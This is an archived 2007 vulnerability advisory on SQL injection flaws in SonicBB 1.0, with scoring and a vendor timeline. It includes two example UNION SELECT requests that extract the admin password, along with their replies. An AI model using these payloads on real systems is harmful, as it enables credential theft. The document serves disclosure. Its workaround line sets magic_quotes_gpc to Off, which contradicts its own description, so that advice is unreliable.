SonicBB version 1.0 Multiple SQL Injection Vulnerabilities
Current status
This advisory describes a vulnerability from 2007. It is not in the CISA Known Exploited Vulnerabilities catalog and there is no active remediation deadline. The page is kept online because other security databases link to it.
CVE reference CVE-2007-1902
In KEV catalog no
Affected software SonicBB version 1.0
Captured from netvigilance.com
Original document
Reproduced as it was published, including the advisory numbering, scoring and the disclosure timeline used at the time.
Description: SonicBB is a user-friendly and fully customizable bulletin board package. SonicBB is compatible with any web server/operating system combo with PHP 4.x or higher installed.SonicBB is the ideal community software for all sites. This vulnerabilities can be exploited only when PHP magic_quotes_gpc = Off. External References: Mitre CVE: CVE-2007-1902 NVD NIST: CVE-2007-1902 OSVDB: 33907 BUGTRAQ/BID: 23964 Summary: SonicBB is a user-friendly and fully customizable bulletin board package. SonicBB is compatible with any web server/operating system combo with PHP 4.x or higher installed. SonicBB is the ideal community software for all sites. Security problems in the product allow attackers commit SQL injections Release Date: May 14 2007 Severity: Risk: High CVSS Metrics: Access Vector: Remote Access Complexity: High Authentication: Not-required Confidentiality Impact: Complete Integrity Impact: Partial Availability Impact: Partial Impact Bias: Confidentiality CVSS Base Score: 6.8 Target Distribution on Internet: Low Exploitability: Functional Exploit Remediation Level: Workaround Report Confidence: Confirmed Vulnerability Impact: Attack Host Impact: SQL Injection. SecureScout Testcase ID: TC 17945 Vulnerable Systems: SonicBB version 1.0 Vulnerability Type: SQL injection allows malicious people to execute their own SQL scripts. This could be exploited to obtain sensitive data, modify database contents or acquire administrator's privileges. Vendor: iScripts Vendor Status: Contact with the Vendor was established and draft of the security advisory was provided on 10 April 2007, the vendor promised to fix the issue but stopped responding to our emails on 10 April 2007. There is no official fix at the release of this Security Advisory Workaround: Modify in the php.ini file following line: magic_quotes_gpc = Off. Example: SQL Injection Vulnerability 1: REQUEST: http://[TARGET]/[PRODUCT-DIRECTORY]/ search.php?query=1&part=post`<> '' UNION SELECT `id`,`password`,1,1,1,1,`username` FROM `users` WHERE id=1/*&by=*/ REPLY: <table width="100%" cellspacing="1" cellpadding="5" class="forums"><tr><td width="40%" class="alt5">Post Title</td><td width="60%" class="alt5"> Author</td></tr><tr><td class="alt8"><a href="viewthread.php?id=1&p=1#post1"> Test Thread</a></td> <td class="alt7"><b><a href="members.php?id=1">admin</a> </b></td></tr><tr><td class="alt8"><a href="viewthread.php?id=1&p=1#post1"> [SQL INJECTION RESULT - ADMIN PASSWORD]</a></td><td class="alt7"><b><a href="members.php?id=1">[SQL INJECTION RESULT - ADMIN NAME]</a></b></td> ... SQL Injection Vulnerability 2: REQUEST: http://[TARGET]/[PRODUCT-DIRECTORY]/viewforum.php?id=1' UNION SELECT `id`,`password`,1,1,1,1,1 FROM `users` WHERE id=1%23 REPLY: ... <a href="viewthread.php?id=1">[SQL INJECTION RESULT - ADMIN PASSWORD]</a><br />By <a href="members.php?id=1">... Credits: Jesper Jurcenoks Co-founder netVigilance, Inc www.netvigilance.com
Why this page still exists
Advisories published between 2004 and 2015 are referenced by vulnerability databases, academic papers and mailing list archives. Removing them would break those references, so every advisory keeps its original address and its original text. Nothing on this page has been rewritten to match current practice.